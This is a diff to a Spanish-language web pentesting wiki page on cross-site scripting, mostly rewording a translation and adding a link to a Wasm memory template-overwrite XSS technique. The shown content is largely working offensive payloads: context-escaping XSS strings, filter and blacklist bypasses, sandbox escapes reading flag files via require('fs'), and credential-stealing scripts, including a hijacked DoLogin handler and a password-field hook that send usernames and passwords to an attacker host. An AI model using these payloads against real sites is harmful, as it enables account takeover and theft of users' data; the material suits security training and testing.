diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 1aae99d1f..07b958654 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,65 +4,65 @@ ## Metodología -1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) se está **reflejando** en el HTML o **si es usado** por código **JS**. +1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por código **JS**. 2. **Encuentra el contexto** donde se refleja/usa. 3. Si está **reflejado** 1. Comprueba **qué símbolos puedes usar** y, dependiendo de eso, prepara el payload: -1. En **HTML sin procesar**: +1. En **raw HTML**: 1. ¿Puedes crear nuevas etiquetas HTML? 2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`? -3. ¿Puedes eludir protecciones? -4. ¿El contenido HTML está siendo interpretado por algún engine JS del lado cliente (_AngularJS_, _VueJS_, _Mavo_...)? podrías abusar de un [**Client Side Template Injection**](../client-side-template-injection-csti.md). +3. ¿Puedes bypassar protecciones? +4. ¿El contenido HTML está siendo interpretado por algún motor JS del cliente (_AngularJS_, _VueJS_, _Mavo_...)? podrías abusar de un [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de una **etiqueta HTML**: -1. ¿Puedes salir al contexto de HTML sin procesar? +1. ¿Puedes salir al contexto raw HTML? 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS? 3. ¿El atributo en el que estás atrapado soporta ejecución de JS? -4. ¿Puedes eludir protecciones? +4. ¿Puedes bypassar protecciones? 3. Dentro de **código JavaScript**: 1. ¿Puedes escapar la etiqueta ``** tags de una página HTML, dentro de un archivo `.js` o dentro de un atributo que usa el protocolo **`javascript:`**: +In this case your input is reflected between **``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: -- Si se refleja entre **``** tags, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no notará que tu etiqueta `` inyectada está dentro del código HTML. -- Si se refleja **dentro de una JS string** y el truco anterior no funciona necesitarías **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará: +- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. +- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Si se refleja dentro de template literals puedes **embed JS expressions** usando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** works to write **valid javascript code**: +- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** funciona para escribir **código javascript válido**: ```javascript alert(1) alert(1) @@ -86,7 +86,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting hace referencia a la posibilidad de **declarar funciones, variables o clases después de que se usan, de modo que puedes abusar de escenarios donde un XSS está usando variables o funciones no declaradas.**\ +Javascript Hoisting se refiere a la posibilidad de **declarar funciones, variables o clases después de que se usan, de modo que puedes abusar de escenarios donde un XSS está usando variables o funciones no declaradas.**\ **Consulta la siguiente página para más información:** @@ -94,17 +94,17 @@ Javascript Hoisting hace referencia a la posibilidad de **declarar funciones, va js-hoisting.md {{#endref}} -### Función de Javascript +### Javascript Function Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común en entornos reales es algo como: `?callback=callbackFunc`. -Una buena forma de detectar si algo que viene directamente del usuario está intentando ejecutarse es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y mirar en la consola errores como: +Una buena forma de averiguar si algo proporcionado directamente por el usuario intenta ser ejecutado es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y buscar en la consola errores como: ![](<../../images/image (711).png>) Si es vulnerable, podrías ser capaz de **disparar un alert** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos endpoints **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**). -Sin embargo, incluso con esa limitación todavía es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento del DOM**: +Sin embargo, incluso con esa limitación aún es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento del DOM**: ![](<../../images/image (747).png>) @@ -116,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -También puedes intentar invocar **Javascript functions** directamente: `obj.sales.delOrders`. +También puedes intentar **invocar funciones Javascript** directamente: `obj.sales.delOrders`. -Sin embargo, normalmente los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante; otras páginas en la misma origin tendrán un DOM más interesante para realizar más acciones. +Sin embargo, por lo general los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante, **otras páginas del mismo origen** tendrán un **DOM más interesante** para realizar más acciones. -Por lo tanto, para abusar de esta vulnerabilidad en un DOM diferente se desarrolló la explotación Same Origin Method Execution (SOME): +Por lo tanto, para **abusar de esta vulnerabilidad en un DOM diferente** se desarrolló la explotación **Same Origin Method Execution (SOME)**: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Hay código JS que está usando de forma insegura algunos datos controlados por un atacante, como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario. +Hay **JS code** que está utilizando de forma **insegura** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario. {{#ref}} @@ -138,7 +138,7 @@ dom-xss.md ### **Universal XSS** -Este tipo de XSS se puede encontrar en cualquier lugar. No dependen únicamente de la explotación en el cliente de una aplicación web, sino de cualquier contexto. Este tipo de ejecución arbitraria de JavaScript incluso puede ser abusada para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.\ +Estos tipos de XSS pueden encontrarse **en cualquier lugar**. No dependen únicamente de la explotación del cliente de una aplicación web sino de **cualquier** **contexto**. Estos tipos de **ejecución arbitraria de JavaScript** incluso pueden usarse para obtener **RCE**, **leer** **archivos** **arbitrarios** en clientes y servidores, y más.\ Algunos **ejemplos**: @@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## Imagen de codificación para bypass de WAF +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Inyección dentro de HTML crudo +## Injecting inside raw HTML -Cuando tu input se refleja dentro de la página HTML o puedes escapar e inyectar código HTML en este contexto, lo primero que debes hacer es comprobar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta reflejar ese carácter y verifica si está siendo HTML encoded o eliminado, o si se refleja sin cambios. Solo en este último caso podrás explotar esta situación.\ -Para estos casos también ten en cuenta [**Client Side Template Injection**](../client-side-template-injection-csti.md).\ -_**Nota: Un comentario HTML puede cerrarse usando `-->` o `--!>`**_ +Cuando tu input se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es comprobar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta **reflejar** ese **carácter** y comprueba si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar esta situación**.\ +Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ -En este caso, y si no se usa black/whitelisting, podrías usar payloads como: +En este caso y si no se usa black/whitelisting, podrías usar payloads como: ```html ` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`. +En estos casos tu **input** va a ser **reflejado dentro del código JS** de un archivo `.js` o entre etiquetas `` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`. ### Escapando la etiqueta \` podrías fácilmente **escapar cerrando la etiqueta `` podrías fácilmente **escapar cerrando la etiqueta ` ``` -Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis HTML se realiza primero por el navegador**, lo que implica identificar elementos de la página, incluidos bloques de script. El parseo de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después. +Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se realiza después. -### Inside JS code +### Dentro del código JS -Si `<>` están siendo sanitised todavía puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará: +Si `<>` están siendo sanitizados puedes aún **escapar la cadena** donde se está **ubicando** tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -497,7 +497,7 @@ Si `<>` están siendo sanitised todavía puedes **escapar la cadena** donde se e ``` #### JS-in-JS string break → inject → repair pattern -Cuando la entrada del usuario cae dentro de una cadena JavaScript entrecomillada (p. ej., echo del lado del servidor dentro de un inline script), puedes terminar la cadena, inyectar código y reparar la sintaxis para mantener el parsing válido. Esqueleto genérico: +Cuando la entrada del usuario cae dentro de una cadena JavaScript entre comillas (p. ej., eco del lado del servidor dentro de un script en línea), puedes terminar la cadena, inyectar código y reparar la sintaxis para que el parseo siga siendo válido. Esqueleto genérico: ``` " // end original string ; // safely terminate the statement @@ -508,11 +508,12 @@ Ejemplo de patrón de URL cuando el parámetro vulnerable se refleja en una cade ``` ?param=test";;a=" ``` -Esto ejecuta JS del atacante sin necesitar tocar el contexto HTML (pure JS-in-JS). Combina con los blacklist bypasses abajo cuando los filtros bloqueen palabras clave. +Esto ejecuta JS del atacante sin necesidad de tocar el contexto HTML (pure JS-in-JS). Combínalo con blacklist bypasses más abajo cuando los filtros bloqueen palabras clave. ### Literales de plantilla \`\` -Para construir **strings**, además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones JS** usando la sintaxis `${ ... }`.\ Por lo tanto, si encuentras que tu entrada se está **reflejando** dentro de una JS string que usa backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**: +Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones JS** usando la sintaxis `${ ... }`.\ +Por lo tanto, si descubres que tu entrada está siendo **reflejada** dentro de una cadena JS que usa backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**: Esto puede ser **abusado** usando: ```javascript @@ -526,21 +527,21 @@ return loop } loop`` ``` -### Encoded code execution +### Ejecución de código codificado ```html

%.*s

" por "" convierte la entrada sanitizada en un valor de handler de JavaScript y produce un DOM XSS inmediato al renderizar. + +Consulta la página dedicada con el flujo de explotación, DevTools memory helpers y defensas: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + ### Unicode normalizado -Puedes comprobar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el cliente) y abusar de esta funcionalidad para eludir protecciones. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). +Puedes comprobar si los **valores reflejados** están siendo **unicode normalized** en el servidor (o en el cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/index.html#xss-cross-site-scripting). -### Bypass del flag PHP FILTER_VALIDATE_EMAIL +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -Debido a **RoR mass assignment** se insertan comillas en el HTML y así se evita la restricción de comillas, permitiendo añadir campos adicionales (onfocus) dentro de la etiqueta.\ +Debido a **RoR mass assignment** se insertan comillas en el HTML y entonces la restricción de comillas se evade y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\ Ejemplo de formulario ([from this report](https://hackerone.com/reports/709336)), si envías el payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -864,24 +876,24 @@ Entonces, se insertará el atributo onfocus y ocurrirá XSS. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS with header injection in a 302 response +### XSS con header injection en una respuesta 302 -Si descubres que puedes **inject headers in a 302 Redirect response** podrías intentar **hacer que el browser ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el HTTP response body si el HTTP response status code es un 302, por lo que un simple cross-site scripting payload es inútil. +Si encuentras que puedes **inject headers in a 302 Redirect response** podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el HTTP response body si el HTTP response status code es 302, así que un cross-site scripting payload por sí solo es inútil. -En [**this report**](https://www.gremwell.com/firefox-xss-302) y [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno permite al browser inspeccionar y ejecutar el XSS payload dentro del body.\ +En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno permite al navegador inspeccionar y ejecutar el XSS payload dentro del body.\ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Solo letras, números y puntos -Si puedes indicar el **callback** que javascript va a **execute** limitado a esos caracteres. [**Read this section of this post**](#javascript-function) para ver cómo abusar de este behaviour. +Si puedes indicar el **callback** que javascript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de este post**](#javascript-function) para ver cómo abusar de este comportamiento. -### Valid ` @@ -982,9 +994,9 @@ Si la página devuelve un content-type text/xml, es posible indicar un namespace ``` -### Patrones de Reemplazo Especiales +### Patrones especiales de reemplazo -Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", )`**. El atacante podría usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar bypassear algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Cuando se usa algo como **`"some {{template}} data".replace("{{template}}", )`**, el atacante podría usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) para intentar evadir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Por ejemplo, en [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se usó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario. @@ -997,7 +1009,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -Si solo tienes un conjunto limitado de chars para usar, revisa estas otras soluciones válidas para problemas de XSJail: +Si solo dispones de un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1028,7 +1040,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Si **everything is undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario: +Si **todo está undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código arbitrario no confiable: - Usando import() ```javascript @@ -1037,7 +1049,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Accediendo a `require` indirectamente -[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js envuelve los módulos dentro de una función, así: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js envuelve los módulos en una función, así: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1097,7 +1109,7 @@ trigger() - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- JSFuck más sofisticado: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- Más sofisticado JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1271,7 +1283,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS common payloads +## Payloads comunes de XSS ### Varios payloads en 1 @@ -1282,7 +1294,7 @@ steal-info-js.md ### Trampa de iframe -Haz que el usuario navegue por la página sin salir del iframe y roba sus acciones (incluida la información enviada en formularios): +Forzar al usuario a navegar en la página sin salir del iframe y robar sus acciones (incluida la información enviada en formularios): {{#ref}} @@ -1312,8 +1324,8 @@ Haz que el usuario navegue por la página sin salir del iframe y roba sus accion ``` > [!TIP] -> **No podrás acceder a las cookies desde JavaScript** si la flag HTTPOnly está establecida en la cookie. Pero aquí tienes [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si tienes suerte. - +> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes suerte. + ### Robar contenido de la página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" @@ -1327,7 +1339,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Encontrar IPs internas +### Encontrar direcciones IP internas ```html ``` @@ -1422,11 +1434,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Cuando se introduce cualquier dato en el campo password, el username y la password se envían al servidor del attacker; incluso si el cliente selecciona una saved password y no escribe nada, las credentials serán ex-filtrated. +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Si un handler crítico (p. ej., `function DoLogin(){...}`) se declara más adelante en la página, y tu payload se ejecuta antes (p. ej., vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para anticipar y bloquear el handler. Las declaraciones de función posteriores no pueden volver a enlazar un nombre `const`, dejando tu hook en control: +Si un critical handler (por ejemplo, `function DoLogin(){...}`) se declara más tarde en la página, y tu payload se ejecuta antes (por ejemplo, vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para adelantarte y bloquear el handler. Las declaraciones de función posteriores no pueden rebind un nombre `const`, dejando tu hook en control: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,13 +1447,13 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Notas -- Esto depende del orden de ejecución: tu injection debe ejecutarse antes de la declaración legítima. -- Si tu payload está envuelto en `eval(...)`, las vinculaciones `const/let` no se convertirán en globals. Usa la técnica dinámica de inyección `